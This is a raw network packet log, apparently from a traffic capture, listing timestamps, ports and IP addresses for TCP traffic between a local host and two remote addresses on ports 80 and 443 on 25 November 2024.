Nov 25, 2024 12:07:25.897455931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.897629976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.898216963 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:25.898485899 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.898663044 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.899683952 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.899697065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:25.899755001 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.044285059 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.044385910 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.044445038 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.044759989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.044878006 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.044926882 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.045826912 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.045932055 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.045985937 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.046880960 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.047032118 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.047964096 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.048016071 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.048103094 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.049029112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.049083948 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.049138069 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.050159931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.050225019 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.050244093 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.051160097 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.051275969 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.051333904 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.052239895 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.052372932 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.053314924 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.053388119 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.053412914 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.054207087 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.054342031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.054462910 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.055424929 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.055471897 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.055531979 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.056487083 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.056520939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.056579113 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.057614088 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.057782888 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.057837009 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.058619976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.058741093 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.059663057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.059716940 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.059880018 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.060914040 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.061021090 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.061072111 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.061827898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.061945915 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.061989069 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.062905073 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.062952042 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.063960075 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.064003944 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.064012051 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.064996958 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.065047026 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.065108061 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.065244913 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.066102028 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.066168070 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.066210032 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.067168951 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.067276955 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.068280935 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.068335056 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.068387985 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.069307089 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.069418907 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.069466114 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.070352077 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.070446968 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.071403980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.071453094 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.071513891 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.072501898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.072561026 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.072639942 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.073524952 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.073623896 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.073668003 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.074625015 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.074721098 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.075705051 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.075758934 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.075810909 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.076745987 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.076868057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.076920033 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.077847958 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.077860117 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.077908039 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.078907967 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.078991890 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.079938889 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.079998016 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.080034971 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.081008911 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.081073046 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.081125975 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.082060099 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.082175970 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.082227945 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.082252979 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.083148003 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.083239079 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.084250927 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.084310055 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.084312916 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.084350109 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.085277081 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.085395098 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.085449934 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.086352110 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.086443901 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.087635040 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.087692022 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.087728977 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.088470936 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.088726044 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.088776112 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.089572906 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.089706898 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.089754105 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.090603113 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.090742111 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.091711998 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.091769934 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.091895103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.092572927 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.092739105 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.092845917 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.092909098 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.093811035 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.093924046 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.094213963 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.094878912 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.094990015 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.095046997 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.095952988 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.096041918 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.097002983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.097063065 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.097107887 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.098062992 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.098177910 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.098216057 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.098228931 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.099136114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.099237919 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.100162983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.100220919 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.245557070 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.245672941 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.246036053 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.246119976 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.246124983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.246171951 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.247071028 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.247210979 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.248210907 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.248256922 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.248275042 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.248308897 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.249284983 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.249407053 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.249548912 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.250283003 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.250425100 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.251359940 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.251405954 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.251445055 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.252418995 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.252517939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.252568007 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.253504992 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.253658056 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.253834009 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.254580975 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.254728079 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.254878044 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.255625963 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.255733967 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.255784988 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.256696939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.256809950 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.256901979 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.257786989 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.257863045 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.258070946 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.258836985 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.258943081 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.258995056 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.260040045 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.260113955 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.260164022 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.261029005 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.261106014 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.261166096 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.262002945 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.262109995 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.262207985 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.263086081 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.263159037 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.264200926 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.264250994 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.264288902 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.264508963 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.265430927 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.265609980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.265666008 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.266551018 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.266581059 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.266621113 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.267610073 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.267741919 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.267785072 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.268491030 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.268623114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.268671036 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.269644976 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.269709110 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.269884109 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.270546913 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.270654917 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.270693064 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.271610022 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.271702051 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.271795988 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.272820950 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.272933960 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.273065090 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.273751974 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.273848057 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.274039030 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.274836063 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.274923086 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.274967909 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.275890112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.276087999 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.276211977 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.276953936 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.277070045 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.277117968 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.278043032 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.278095007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.278206110 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.279122114 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.279282093 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.279406071 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.280167103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.280281067 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.280369043 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.281227112 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.281430960 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.281474113 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.282262087 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.282386065 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.282489061 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.283420086 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.283432961 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.283479929 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.284408092 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.284518957 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.284624100 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.285485029 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.285579920 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.285623074 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.286529064 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.286665916 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.286711931 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.287677050 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.287806034 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.287875891 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.288800955 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.288980961 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.289393902 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.289799929 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.289885044 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.289994001 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.290803909 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.290828943 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.290878057 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.291878939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.291969061 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.292124987 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.292927980 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.293051004 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.293150902 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.294003010 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.294055939 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.294207096 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.295082092 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.295195103 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.295242071 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.296164036 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.296267033 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.296369076 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.297214031 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.297255039 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.297492027 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.298285007 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.298449039 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.298516989 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.299341917 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.299446106 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.299523115 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.300395966 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.300601006 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.300642967 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.301440954 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.319111109 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.409962893 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.410465956 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:26.410490990 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.411050081 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.411252022 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:26.411257982 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.411542892 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:26.411608934 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.411957979 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:26.411973000 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:26.447113037 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.447259903 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.447572947 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.447782993 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.447850943 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:26.448602915 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.448765039 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.449667931 CET	80	49723	185.215.113.16	192.168.2.5
Nov 25, 2024 12:07:26.449749947 CET	49723	80	192.168.2.5	185.215.113.16
